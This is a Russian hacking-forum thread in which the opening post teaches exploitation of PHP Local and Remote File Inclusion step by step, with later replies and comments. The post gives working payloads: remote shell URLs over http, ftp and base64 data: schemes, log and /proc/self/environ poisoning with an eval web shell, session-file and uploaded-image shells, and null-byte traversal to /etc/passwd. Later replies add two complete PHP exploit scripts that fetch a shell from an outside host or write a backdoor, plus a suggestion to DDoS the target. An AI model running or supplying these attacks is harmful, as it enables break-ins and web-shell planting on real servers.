Авторские статьи Вся правда о (Local|Remote) File Inclusion

Discussion in 'Статьи' started by Expl0ited, 30 Sep 2010.

  1. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    В этом теме я надеюсь собрать максимально возможную информацию о ( Local | Remote ) File Inclusion, и описать принцип работы более доступно для широких масс.
    Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.

    Начнем с того, что File Inclusion делится на две основные ветви.
    1. Remote File Inclusion.
    2. Local File Inclusion.
    Основосоставляющая у них одна, это недостаточная фильтрация переменной (читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация), которая используется в функциях отвечающих за подключения файлов (например функции include(), require()), разница лишь в том, что в случае Remote File Inclusion эта переменная одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.

    Получается, представим например такой код:
    PHP:
    <?php
    ...
    include(
    $_МЕТОД['переменная']);
    ...
    ?>
    Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...
    Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_эта_ваша_заливная_рыба!
    И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:
    Code:
    Warning: include(Какая_гадость,_эта_ваша_заливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2
    
    Warning: include() [function.include]: Failed opening '(Какая_гадость,_эта_ваша_заливная_рыба!' for inclusion (include_path='.;/etc/php/pear/') in /home/www/index.php on line 2
    Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь (или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.
    Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:
    httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл
    Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид:
    PHP:
    <?php
    ...
    include(
    'http://сайт_где_у_нас.шелл/ну_и_сам.шелл');
    ...
    ?>
    со всеми вытекающими последствиями.
    Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже.

    Remote File Inclusion

    Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
    Ты заходишь на сайт, а там такой код:
    PHP:
    <?php
    ...
    include(
    $_GET['page']);
    ...
    ?>
    Эксплуатация проста до невозможности: httр://localhost/?page=http://yourhost/shell.txt
    Хотя это уже было... и ты сообщил всё горе-кодеру.

    Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает!
    PHP:
    <?php
    ...
    include(
    $_GET['page'].'.txt');
    /* или как вариант, можно предположить, что код выглядит так
    include($_GET['page'].'_lang.php');
    include($_GET['page'].'/folder/main.dat'); */
    ...
    ?>
    Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса ( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные: httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.

    Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:
    PHP:
    <?php
    ...
    $check parse_url($_GET['page'], PHP_URL_SCHEME);
    if(!isset(
    $_GET['page'])) { echo 'Страница <a href="?page=http://www.google.ru/search?">страниц</a>';die(); }
    if(
    $check != 'http' && $check != 'https') { 
        include(
    $_GET['page']); 
    } else die(
    'Хакед дектед, уи-у-уи-у-уи-у');
    ...
    ?>
    Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает: httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.

    Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:
    PHP:
    <?php 
    ...
    $check parse_url($_GET['page'], PHP_URL_SCHEME); 
    if(!isset(
    $_GET['page'])) { echo 'Страница <a href="?page=http://www.google.ru/search?">страниц</a>';die(); }
    if(
    $check != 'http' && $check != 'https' && $check != 'ftp') {  
        include(
    $_GET['page']);  
    } else die(
    'Хакед дектед, уи-у-уи-у-уи-у'); 
    ...
    ?>
    Ну что ж, тут тебе на помощь придут потоки.
    А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь
    и о чудо, в ответ ты видишь результат выполнения функции phpinfo() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно <?php copy('http://тут_наш.хост/а_тут.шелл','/полный/путь/до/сайта/который/мы/взяли/из/phpinfo/придумай_имя_файла.php');?>, и если хватает прав на запись, то всё шелл тут httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет (читать как EPIC FAIL), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.

    После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (перевод)
    Выглядит это примерно так:
    Code:
    data:[<MIME-type>][;charset=<encoding>][;base64],<data>
    А на деле можно использовать так: http://localhost/?page=data:,<?php phpinfo()?>
    Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).

    Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать?

    Local File Inclusion

    Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом) сервере в работу уязвимого.

    Проснувшись утром, и зайдя снова на этот сайт, ты видишь (ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:
    PHP:
    <?php  
    ...
    if(!empty(
    $_GET['page'])) {  
        include(
    $_SERVER["DOCUMENT_ROOT"].'/'.$_GET['page']);   
    } else die(
    'Хакед дектед, уи-у-уи-у-уи-у');   
    ...
    ?>
    Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек ( .. ), обозначает подняться вверх на один каталог, а слэш ( / ), собственно сам каталог, т.е. если в командной строке выполнить команду cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь /home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога: httр://localhost/?page=../../../полный/путь/до/нужного/файла.

    Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно:
    • не нарушающий синтаксис PHP кода. (содержащий в себе подобие <? и т.д.)
    • позволяющий записывать в себя данные.
    • не превышающий границы memory_limit.
    • ну и конечно же с правами на просмотр файла.
    Такими файлами могут быть:
    • Логи (веб-сервера, фтп-сервера и другие).
    • Файлы содержащие переменные окружения (включая данные о клиенте (читать как о браузере)).
    • Файлы сессии.
    • Загружаемые пользователем файлы.
    • Другие файлы (например файлы создаваемые скриптом (например гостевая книга) который использует файловую систему для хранения данных).
    Суть везде одинаковая, для начала ты находишь этот самый файл который доступен для просмотра, затем записываешь в него некоторые данные (если быть голословным то шелл) и подключаешь.

    Ну и начнем по списку. Логи.
    Логи, сцуко, бывают разные и прячутся везде где-только можно, поэтому стоит вооружиться всем чем только можно, для разоблачения их местонахождения. Советую взять на заметку: вот это, еще это ну и например это (хотя последнее дело вкуса и принципа, слава богу аналогов предостаточно). И еще советую скачать дистрибутив веб-сервера и посмотреть расположение каталогов, и файлов конфигурации (ведь именно они нам часто подсказывают где же прячутся логи).
    Во время изучения информации о сайте и сервере, ты узнал, что сайт этот расположен на сервере который работает на веб-сервере apache ты нашел логи, и тебе хватило прав на их просмотр: httр://localhost/?page=../../../etc/httpd/log/файл_с_логами, находишь там записи о своих действиях на сайте, и если всё ок, то тебе ну просто необходимо записать в лог PHP код который позволит тебе выполнять произвольные команды. Ты пишешь мини шелл: <?php eval($_GET[cmd])?>, кодируешь всё в url, составляешь и отправляешь пакет:
    А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:
    Code:
    127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php?<?php eval($_GET[cmd])?> HTTP/1.1" 404 2326
    т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё до <?php как обычный текст, всё что внутри eval($_GET[cmd]) как PHP код, и всё что после ?> как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().
    Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся.
    НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа :
    Ты же понимаешь, что /proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую /proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.
    Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline
    И видишь, что конфиг веб-сервера, находится тут: /etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.

    Файлы содержащие переменные окружения.
    Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ, который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь:
    Code:
    SERVER_SIGNATURE=
    UNIQUE_ID=TKQvDFuVnSoAAAmXQA4AAAB3
    HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
    SERVER_PORT=80
    HTTP_HOST=localhost
    REDIRECT_HANDLER=application/x-httpd-php5
    DOCUMENT_ROOT=/home/www
    HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.3
    SCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5
    REQUEST_URI=/index.php?page=../../../proc/self/environ
    SCRIPT_NAME=/cgi-sys/php5
    HTTP_CONNECTION=keep-alive
    PH_INFO=/index.php
    REMOTE_PORT=42814
    PATH=/usr/local/bin:/usr/bin:/bin
    PWD=/usr/local/cpanel/cgi-sys
    SERVER_ADMIN=admin@localhost
    EDIRECT_STATUS=200
    REDIRECT_QUERY_STRING=page=../../../proc/self/environ
    HTTP_ACCEPT_LANGUAGE=ru-RU,ru;q=0.8,enS;q=0.6,en;q=0.4
    PATH_TRANSLATED=/home/www/index.php
    HTTP_ACCEPT=application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    REMOTE_ADDR=127.0.0.1
    SHLVL=
    0SERVER_NAME=localhost
    SERVER_SOFTWARE=Apache
    QUERY_STNG=page=../../../proc/self/environ
    SERVER_ADDR=127.0.0.1
    GATEWAY_INTERFACE=CGI/1.1
    SERVER_PROTOCOL=HTTP/1.1
    HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
    REDIRECT_URL=/index.php
    REQUEST_METHOD=GET
    Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:
    И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл environ, после чего уязвимый скрипт подключил этот файл, очевидно же.

    Файлы сессии.
    ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:
    PHP:
    <?php
    session_start
    ();
    ...
    /* тут код чата */
    ...
    $name $_POST['name'];
    ... 
    /* тут код чата */
    ...
    $_SESSION['name'] = $name// данные переданные методом POST переменной name, записываются в сессию
    ...
    /* тут код чата */
    ...
    ?>
    После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище (место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)
    и в ответ браузеру отправляет айди сессии в куках (Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.
    Ты конечно же вместо именни ввел <?php eval($_GET[cmd])?>, это значит что создался файл сессии с таким содержанием:
    Тебе ничего не осталось, как взять айди этой сессии, и подключить её: httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();
    После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".

    Загружаемые пользователем файлы.
    Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл <?php eval($_GET[cmd])?>, загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();

    Другие файлы.
    Здесь ты не стал заморачиваться, просто вспомнил статью slasha и сделал всё так, как он там рассказал.

    Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером).

    Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:
    PHP:
    <?php  
    ...
    if(!empty(
    $_GET['page'])) {  
        include(
    $_SERVER["DOCUMENT_ROOT"] . '/' $_GET['page'] . '.txt');   
    } else die(
    'Хакед дектед, уи-у-уи-у-уи-у');   
    ...
    ?>
    То это легко обойдется Null-байтом, который обрежет всё, что после него идет: httр://localhost/?page=../../../etc/passwd%00 и включил magic_quotes_gpc.
    Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу и вот тут, как льтернативу альтернативе Null-байту
    Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ):
    PHP:
    $page preg_replace('/..\//','',$_GET['page']);
    Но узнал, что обратный слэш ( \ ), ничуть не хуже замена обычному: httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел много других способов.

    В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.

    Источники из которых была взята информация, или очень полезные:

    1. https://forum.antichat.ru/thread89082.html
    2. http://raz0r.name/articles/null-byte-alternative/
    3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
    4. http://wiki.apache.org/httpd/DistrosDefaultLayout
    5. https://rdot.org/forum/showpost.php?p=6942&postcount=29
    6. https://forum.antichat.ru/thread71902.html
    7. http://www.xakep.ru/post/49508/


    Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.
     
    _________________________
    #1 Expl0ited, 30 Sep 2010
    Last edited: 4 Oct 2010
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    начитался это статьи https://forum.antichat.ru/thread231827.html ?
    что мало этого?
    поржать просто, все просто скопипастел в один угол.. "Вся правда о Хакере" прям.. мда, жду от тебя "Вся правда о SQL Injection".. МОА тебя ждет)

    з.ы Страшный баянчик..
     
    #2 Дирижабль, 30 Sep 2010
    Last edited: 30 Sep 2010
  3. ficrowns

    ficrowns Member

    Joined:
    25 Mar 2009
    Messages:
    43
    Likes Received:
    5
    Reputations:
    4
    а мне понравилось, спасибо автору. удобно
     
  4. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    шел бы ты русский язык учить, статьи он "пишет"
     
  5. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    За старания 5, за албанский 2, за информационность 4-, в итоге на троечку.
     
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,184
    Likes Received:
    618
    Reputations:
    690
    а мну нра )
    +5 автору , не то что у киберпанка )
     
    _________________________
  7. DeluxeS

    DeluxeS Member

    Joined:
    1 Aug 2009
    Messages:
    7
    Likes Received:
    81
    Reputations:
    19
    Вполне хорошая статья.. 4
     
  8. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    240
    Likes Received:
    85
    Reputations:
    17
    Нормальная статья
     
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Месяц статей о php-инклюдинге на Античате.
     
  10. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Хорошая статья!
     
  11. Dirty

    Dirty New Member

    Joined:
    4 Sep 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    спасибо!освежил память и узнал новое
     
  12. yaskin

    yaskin New Member

    Joined:
    28 Oct 2010
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Полезная статья. Компактно и по теме
     
  13. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    Статья написана в хорошем тоне, автору +++
     
  14. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Кстати, хотелось бы обратить внимание на заметки Електа и Шанкара в теме: http://forum.antichat.ru/thread51096.html

    Вполне работоспособный метод несмотря на дату опубликования. Правда вся сложность заключается именно в том, что после инклуда должен идти код, на интерпретацию которого уходит некоторое время, которое даст шанс подключить залитый нами шелл. Вот сплоит:
    PHP:
    <?php 
    set_time_limit
    (0); 

    function 
    data($host$path$code

            
    $boundary "---------------------------313223033317673"
             
            
    # создаем данные с файлом для отправки 
            
    $head_file  $boundary."\r\n"
            
    $head_file .= "Content-Disposition: form-data; name=\"xxx\"; filename=\"shell.txt\"\r\n"
            
    $head_file .= "Content-Type: text/plain\r\n\r\n"
            
    $head_file .= $code."\r\n"
            
    $head_file .= $boundary."--\r\n"
             
            
    # создаем запрос для отправки 
            
    $headers  "POST {$path} HTTP/1.1\r\n"
            
    $headers .= "Host: {$host}\r\n"
            
    $headers .= "Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n"
            
    $headers .= "Content-Length: ".strlen($head_file)."\r\n\r\n"
             
            return 
    $headers.$head_file


    function 
    send($host$path$code

        
    # открываем поток 
        
    if( $socket fsockopen($host80$errno$errstr30) ) 
        { 
            
    $data data($host$path$code); 
            
    # отправляем запрос серверу 
            
    fwrite($socket$data); 
            while (!
    feof($socket)) 
            { 
                if( 
    preg_match_all('/\[tmp_name\] =&gt; (.*)/'fread($socket32000), $result) ) break; 
            } 
            
    fclose($socket); 
            
    # возвращаем временный путь 
            
    return trim($result[1][0]).'%00'
        } 
        else 
        { 
            return 
    false
        } 


    $host "target.com"
    $path '/bug.php?var=../../../../../..'
    $file '/home/target/htdocs/scripts/phpinfo.php%00'
    $targ $path.$file

    $code "<?php if(copy('http://www.site.com/shell.txt', '/tmp/shell.php')) print 'ooook'; ?>"

    for(
    $i=1;$i<21;$i++) 

        if( 
    $tmp send($host$targ$code) ) 
        { 
            if( 
    preg_match('/ooook/'file_get_contents('http://'.$host.$path.$tmp)) ) 
            { 
                print 
    $i.' shell: http://'.$host.$path.'/tmp/shell.php<br>'
                break; 
            } 
            else 
            { 
                print 
    $i.' fail<br>';  
            } 
        } 

    ?>
     
    _________________________
  15. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    1 fail
    2 fail
    3 fail
    4 fail
    5 fail
    6 fail
    7 fail
    8 fail
    9 fail
    10 fail
    11 fail
    12 fail
    13 fail
    14 fail
    15 fail
    16 fail
    17 fail
    18 fail
    19 fail
    20 fail
     
  16. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Для успешной реализации требуется:
    1. После инклюда, какие-то действия, которые задерживает время выполнения уязвимого скрипта (которого вполне хватит сграбить имя временного файла и проинклюдить его)
    2. Достаточно широкий канал, что бы с наибольшей быстротой успеть сграбить и подключить файл.

    20 итераций в скрипте, реализованы для большего профита, т.е. возможно что в первый/десятый раз не удастся сграбить имя, но на 15 может и получится.

    Так же вполне реально можно поддидосить сервак, что бы он помимо интерпретации уязвимого скрипта, "задумался" над чем нибудь другим, и тогда время выполнения уязвимого скрипта увеличится, а вместе с ним и шансы выполнения уязвимости.
     
    _________________________
  17. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Local File Inclusion в Windows

    В Windows есть один замечательный финт (пруф: http://habrahabr.ru/company/xakep/blog/112691/), который позволяет проинклюдить файл по маске его имени, к примеру это одно и тоже:
    Code:
    file.php
    file.<
    f<.<
    
    Из чего отталкиваемся и вспоминая тему http://forum.antichat.ru/thread51096.html делаем вывод, что отправив интерпретатору пхп уязвимого сервера файл, и зная временный каталог, мы можем не зная его имени проинклюдить и выполнить. Собственно вот сплоит:
    PHP:
    <?php  
    set_time_limit
    (0);  

    # уязвимый сайт
    $host "http://127.0.0.1/target.php?page=";  
    # временный каталог
    $temp "/windows/tmp/";

    function 
    data($host$temp)  
    {  
            
    $url parse_url($host);
            
    $boundary "---------------------------313223033317673";  
              
            
    # создаем данные с файлом для отправки  
            
    $head_file  $boundary."\r\n";  
            
    $head_file .= "Content-Disposition: form-data; name=\"xxx\"; filename=\"shell.txt\"\r\n";  
            
    $head_file .= "Content-Type: text/plain\r\n\r\n";  
            
    $head_file .= '<?php $file = fopen(\'../../../../../../'.$temp.'sh.php\', \'a+\'); fwrite($file, "<?php eval(\$_GET[\'ev\']);?>"); fclose($file); print \'ooook\';?>'."\r\n";  
            
    $head_file .= $boundary."--\r\n";  
              
            
    # создаем запрос для отправки  
            
    $headers  "POST ".$url['path']." HTTP/1.1\r\n";  
            
    $headers .= "Host: ".$url['host']."\r\n";  
            
    $headers .= "Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n";  
            
    $headers .= "Content-Length: ".strlen($head_file)."\r\n\r\n";  
              
            return 
    $headers.$head_file;  
    }  

    function 
    send($host$temp)  
    {  
        
    $url parse_url($host);
        
    # открываем поток  
        
    if( $socket fsockopen($url['host'], 80$errno$errstr30) )  
        {  
            
    $data data($host$temp);  
            
    # отправляем запрос серверу  
            
    fwrite($socket$data);  
            return 
    true
        }  
        else  
        {  
            return 
    false;  
        }  
    }  

    for(
    $i=1;$i<210;$i++)  
    {  
        if( 
    send($host$temp) )
        {  
           if( 
    preg_match('/ooook/'file_get_contents($host.'../../../../../../../../../../../..'.$temp.'php<.<')) )  
            {  
                print 
    $i.' shell: '.$host.'../../../../../../../../../../../..'.$temp.'sh.php&ev=phpinfo();<br>';  
                break;  
            }  
            else  
            {  
                print 
    $i.' fail<br>';   
            }
        }  
    }  
    ?>
    Лог работы примерно такой:
    Code:
    1 fail
    2 fail
    3 fail
    4 shell: http://127.0.0.1/target.php?page=../../../../../../../../../../../../windows/tmp/sh.php
    Работоспособность сплоита, напрямую зависит от нагруженности атакуемого сервера и шириной вашего канала, чем больше нагружен атакуемый сервер и чем шере канал, тем больше вероятность того что сплоит сработает.

    Путь до временный каталог можно узнать в phpinfo если он не стандартный, по стандарту /windows/temp/
     
    _________________________
    #17 Expl0ited, 27 May 2011
    Last edited: 27 May 2011
    2 people like this.
  18. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    инклуд это или нет?

    <?
    if (!defined("__cIniFileReader.inc__")) {
    define("__cIniFileReader.inc__", true);
    include($DOCUMENT_ROOT."/library/classes/cIniFileReader.inc");
    }
    ?>
     
    #18 heks, 28 Jun 2011
    Last edited: 28 Jun 2011
  19. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Если $DOCUMENT_ROOT перезаписать удастся, то да.
     
  20. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Очень полезнаю статья для меня!Автор молодец, что собрал столько инфы в одну статью!